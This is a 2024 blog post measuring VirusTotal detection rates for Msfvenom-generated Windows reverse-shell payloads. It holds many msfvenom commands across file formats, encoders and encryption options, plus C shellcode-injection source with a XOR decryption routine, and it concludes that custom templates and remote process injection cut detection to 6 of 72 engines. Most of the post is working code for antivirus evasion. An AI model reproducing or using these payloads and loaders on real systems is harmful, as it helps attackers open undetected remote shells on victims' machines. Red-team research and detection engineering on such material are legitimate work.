All posts

Msfvenom detection rate in 2024

Created at: 2024-06-09

In this article, I would like to do a little research on how well payload generated by Msfvenom is detected. Of course, we are mainly talking about static malware detection. Many people believe that payloads generated by Msfvenom are nowadays unusable in general. The issue is not so simple.

All compiled / generated files were checked using VirusTotal. This is where the level of detection comes from.

A brief overview of the Msfvenom parameters which can affect the detection:

  • -p <payload> - shellcode (this thing that gives us a reverse shell);
  • -e <encoding> - encoding of the shellcode; --iterations - how many times the shellcode should be encoded;
  • --encrypt <alg> - encryption of the shellcode; --encrypt-key - encryption key;
  • f <format> - output format. There are essentially two possibilities: file format (executable) or payload format (a string ready to use in your own malware code).

Default executables

Let's see how well the default executable formats generated by Msfvenom are detected.

EXE

Pure:

# Detection: 58/73
msfvenom -p windows/x64/shell_reverse_tcp -f exe -o file.exe

Encoding:

# Detection: 54/73
msfvenom -p windows/x64/shell_reverse_tcp -e x86/shikata_ga_nai -f exe -o file.exe
 
# Detection: 55/73
msfvenom -p windows/x64/shell_reverse_tcp -e x86/bloxor -f exe -o file.exe
 
# Detection: 53/73
msfvenom -p windows/x64/shell_reverse_tcp -e x64/zutto_dekiru -f exe -o file.exe

Encryption:

# Detection: 56/73
msfvenom -p windows/x64/shell_reverse_tcp -e x86/shikata_ga_nai --encrypt aes256 --encrypt-key print3m -f exe -o file.exe
 
# Detection: 53/73 
msfvenom -p windows/x64/shell_reverse_tcp -e x86/bloxor --encrypt rc4 --encrypt-key print3m -f exe -o file.exe
 
# Detection: 54/73
msfvenom -p windows/x64/shell_reverse_tcp -e x86/shikata_ga_nai --encrypt xor --encrypt-key print3m -f exe -o file.exe

Everything together:

# Detection: 56/73
msfvenom -p windows/x64/shell_reverse_tcp -e x86/shikata_ga_nai --iterations 5 --nopsled 17 --smallest --encrypt rc4 --encrypt-key print3m -f exe -o file.exe

Conclusion: Encryption and encoding actually don't matter while using -f exe. Not only the payload but the execution itself (template) is very well detected. The default execution is always the same, it's the easiest part to detect being an antivirus software. By the way, this is not true only for exe files. Below I have presented other formats (also with default templates) with similar results. The conclusion is simple: never use ready-made executable formats and default templates.

DLL

# Detection: 41/73
msfvenom -p windows/x64/shell_reverse_tcp -e x86/shikata_ga_nai --iterations 5 --nopsled 17 --smallest --encrypt rc4 --encrypt-key print3m -f dll -o file.dll

VBS

# Detection: 35/64
msfvenom -p windows/x64/shell_reverse_tcp -e x86/shikata_ga_nai --iterations 5 --nopsled 17 --smallest --encrypt rc4 --encrypt-key print3m -f vbs -o file.vbs

MSI

# Detection: 40/64
msfvenom -p windows/x64/shell_reverse_tcp -e x86/shikata_ga_nai --iterations 5 --nopsled 17 --smallest --encrypt rc4 --encrypt-key print3m -f msi -o file.msi

HTA

# Detection: 33/61
msfvenom -p windows/x64/shell_reverse_tcp -e x86/shikata_ga_nai --iterations 5 --nopsled 17 --smallest --encrypt rc4 --encrypt-key print3m -f hta-psh -o file.hta

CMD

# Detection: 16/64 
msfvenom -p windows/x64/shell_reverse_tcp -e x86/shikata_ga_nai --iterations 2 --smallest --encrypt rc4 --encrypt-key print3m -f psh-cmd -o file.cmd

Custom executable

Using a custom code, we control how the shellcode is executed, which is the most sensitive point of the finished files generated by Msfvenom. We still use the shellcode generated by Msfvenom and look at how well the compiled file is detected.

The simplest local thread injection:

#include <Windows.h>
#include <stdio.h>
#include <stdint.h>
 
uint8_t shellcode[] = "PAYLOAD:";
 
int main() {
    // Allocate memory
    void* mem = VirtualAlloc(NULL, sizeof(shellcode), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
    if (mem == NULL) {
        printf("[!] VirtualAlloc error: %d \n", GetLastError());
        return -1;
    }
 
    // Copy the shellcode to the allocated memory
    memcpy(mem, shellcode, sizeof(shellcode));
 
    // Set original shellcode to 0
    memset(shellcode, 0x00, sizeof(shellcode));
 
    // Change allocated memory permissions
    DWORD old_protect = NULL;
    if (!VirtualProtect(mem, sizeof(shellcode), PAGE_EXECUTE, &old_protect)) {
        printf("[!] VirtualProtect error: %d \n", GetLastError());
        return -1;
    }
 
    // Create a thread
    HANDLE thread = CreateThread(NULL, NULL, mem, NULL, NULL, NULL);
    if (thread == NULL) {
        printf("[!] CreateThread error: %d \n", GetLastError());
        return -1;
    }
 
    WaitForSingleObject(thread, INFINITE);
 
    // Exit
    getchar();
    return 0;
}

No anti-AV measures, just a custom template. Immediately, we see a huge decrease in detection by 24 antiviruses. For the exact same shellcode (without any encryption or encoding) in the default template the detection was 58/73. And we didn't even try very hard to hide anything.

# Detection: 34/72
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.53 LPORT=8888 -f c 

With simple XOR encryption in the template itself. Shellcode is decrypted by C code before injection and execution.

uint8_t shellcode[] = "PAYLOAD:";
uint8_t xor_key[] = {'p', 'r', 'i', 'n', 't', '3', 'm'};
 
// XOR encryption / decryption
void xor(uint8_t shellcode[], size_t shellcode_sz, uint8_t key[], size_t key_sz) {
    for (size_t i = 0; i < shellcode_sz; i++) {
        // Get byte of key
        uint8_t byte_key = key[i % key_sz]; 
 
        // Calculate value
        shellcode[i] = shellcode[i] ^ byte_key;
    }
}

XOR encryption is built-in into Msfvenom. As we can see with a simple xor the detection is even lower.

# Detection: 27/72
msfvenom --encrypt xor --encrypt-key print3m -p windows/x64/shell_reverse_tcp  LHOST=192.168.1.53 LPORT=8888 -f c

When uploading this malware to Virus Total, some antiviruses write out that they supposedly found a meterpreter payload, but this is not true. Detection rate is still pretty high because our shellcode injection technique is very simple, it doesn't use any advanced techniques, and it's known to many antiviruses. As you can see, for most of them it's still undetectable but e.g. GData, Kaspersky or Windows Defender easily detects the local thread injection technique.

However, it is enough to use a slightly more complicated shellcode injection technique and the static detection level drops to 6/72. I used a simple remote process shellcode injection technique (example source code) and the result is very satisfactory.

Conclusion

Msfvenom's generated malware files are detected without the slightest difficulty by any serious antivirus software. Encryption, encoding and different file formats generally do not help at all. However, using shellcode generated by Msfvenom in your own code (custom template) is still possible. Using a simple XOR, we are able to hide Msfvenom shellcode and the level of detection then depends mostly on how the payload is executed.

~ Print3M